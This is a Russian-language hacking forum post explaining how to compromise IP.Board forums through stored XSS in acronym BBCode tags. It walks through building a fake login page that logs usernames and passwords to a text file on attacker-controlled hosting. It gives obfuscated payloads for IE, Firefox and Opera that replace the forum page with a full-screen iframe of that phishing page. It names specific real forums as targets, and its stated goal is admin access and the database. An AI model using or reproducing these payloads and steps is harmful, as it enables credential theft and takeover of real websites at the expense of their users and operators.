[hide=20]Для начала давайте разберемся что нам это даст?
1)Стать админом а больше ничего и ненадо) Вообщем я нашёл способ взлома сайта а там и бд, через форум ipb с применением xss.[/hide]
[hide=20]Что такое xss?
Code
XSS (англ. Сross Site Sсriрting — «межсайтовый скриптинг») — тип уязвимости интерактивных информационных систем в вебе. XSS возникает, когда в генерируемые сервером страницы по какой-то причине попадают пользовательские скрипты. Специфика подобных атак заключается в том, что вместо непосредственной атаки сервера они используют уязвимый сервер в качестве средства атаки на клиента.[/hide]
[hide=20]Иногда для термина используют сокращение «CSS», но чтобы не было путаницы с каскадными таблицами стилей, используют сокращение «XSS».Сейчас XSS составляют около 15 % всех обнаруженных уязвимостей[1]. Долгое время программисты не уделяли им должного внимания, считая их неопасными. Однако это мнение ошибочно: на странице или в HTTP-Cookie могут быть весьма уязвимые данные (например, идентификатор сессии администратора). На популярном сайте скрипт может устроить DoS-атакy.
[hide=20]Работает везде где имееться тег acronym в ipb
Пример популярных серверов:http://forum.asterios.tm/ (уже не актуально)
XSS работал бы и на шоках но там слишком длиные сообщения запрещены(в подписи) а в сообщение эти теги отключены.[/hide]
[hide=20]Создаем фейк.
Для начала нам нужно скачать ArxWFakeGen (Антивирус скажет что там вирус, но не пугайтесь это hactool)
Распаковываем, запускаем:
1)В поле страница пишем путь к странице авторизации форума. Пример:http://forum.la2mega.com/index.php?act=Msg&CODE=03&MSID=773&VID=in
2) В поле переадресация делаем на главную. Пример:http://forum.la2mega.com/
3)Где тип базы выберите "Своя" и вместо base3124.dat пишим pass.txt (ну или другое название типа password.txt key.txt lol.txt и т.д.)
4)В поле тип главной выберите htm
5) Нажимаем создать, выбираем 2 поля UserName и PassWord, нажимаем продолжить, закрываем, видим 3 файла в корне программы ( login.php, index.htm, pass.txt) все их нужно залить на фтп. (Для этого вам нужен хостинг. список хостингов можно посмотретьздесь
Очень часто прога создает ошибки в фейке и у вас не отображаются картинки, для этого открываем index.htm текстовым файлом ищем строчки:
Code
<style type="text/css" media="all">
@import url(http://forum.la2mega.com/http://forum.la2mega.com/style_images/css_2.css);
</style>
[/hide] [hide=20]И убираем лишний адрес
В итоге должно получиться так:
Code
<style type="text/css" media="all">
@import url(http://forum.la2mega.com/style_images/css_2.css);
</style>
Сохраняем и фейк готов! Фейк мы приготовили. Пример: http://l2fan-day.ru.freehostia.com/
Теперь нам нужно приготовть xss.[/hide]
Код xss выглядит таким образом:
1) Для ie & firefox
Code
[acronym=test1[acronym=test2 onmouseover= lol="if(document.cookie.indexOf(\x22ipb_my\x22)==-1){with(valid_until=new\x20Date())setTime(getTime()+30*24*60*60*1000);document.cookie=\x22ipb_my=1234;\x20expires=\x22+valid_until.toGMTString();document.write(\x22\x3C******\x20src=http://mail.ru\x20frameborder=0\x20width=100%\x20height=100%\x20scrolling=no\x3E\x3C/******\x3E\x22);document.close()}";eval(lol); ]_]___________________________________________________________________________[/acronym]_[/acronym][/size][/color]
2) Для opera:
Code
[acronym=[acronym= style=background:url('//') onerror= lol="if(document.cookie.indexOf(\x22ipb_my\x22)==-1){with(valid_until=new\x20Date())setTime(getTime()+30*24*60*60*1000);document.cookie=\x22ipb_my=1234;\x20expires=\x22+valid_until.toGMTString();document.write(\x22\x3C******\x20src=http://mail.ru\x20frameborder=0\x20width=100%\x20height=100%\x20scrolling=no\x3E\x3C/******\x3E\x22);document.close()}";eval(lol); ]][/acronym][/acronym]
Пример с оперой: http://forum.la2mega.com/index.php?showuser=791
Вместо http://mail.ru/ вам нужно вставить свою ссылку на фейк. И у вас должно получиться что то вроде этого:
Code
[acronym=[acronym= style=background:url('//') onerror= lol="if(document.cookie.indexOf(\x22ipb_my\x22)==-1){with(valid_until=new\x20Date())setTime(getTime()+30*24*60*60*1000);document.cookie=\x22ipb_my=1234;\x20expires=\x22+valid_until.toGMTString();document.write(\x22\x3C******\x20src=http://l2fan-day.ru.freehostia.com/\x20frameborder=0\x20width=100%\x20height=100%\x20scrolling=no\x3E\x3C/******\x3E\x22);document.close()}";eval(lol); ]][/acronym][/acronym]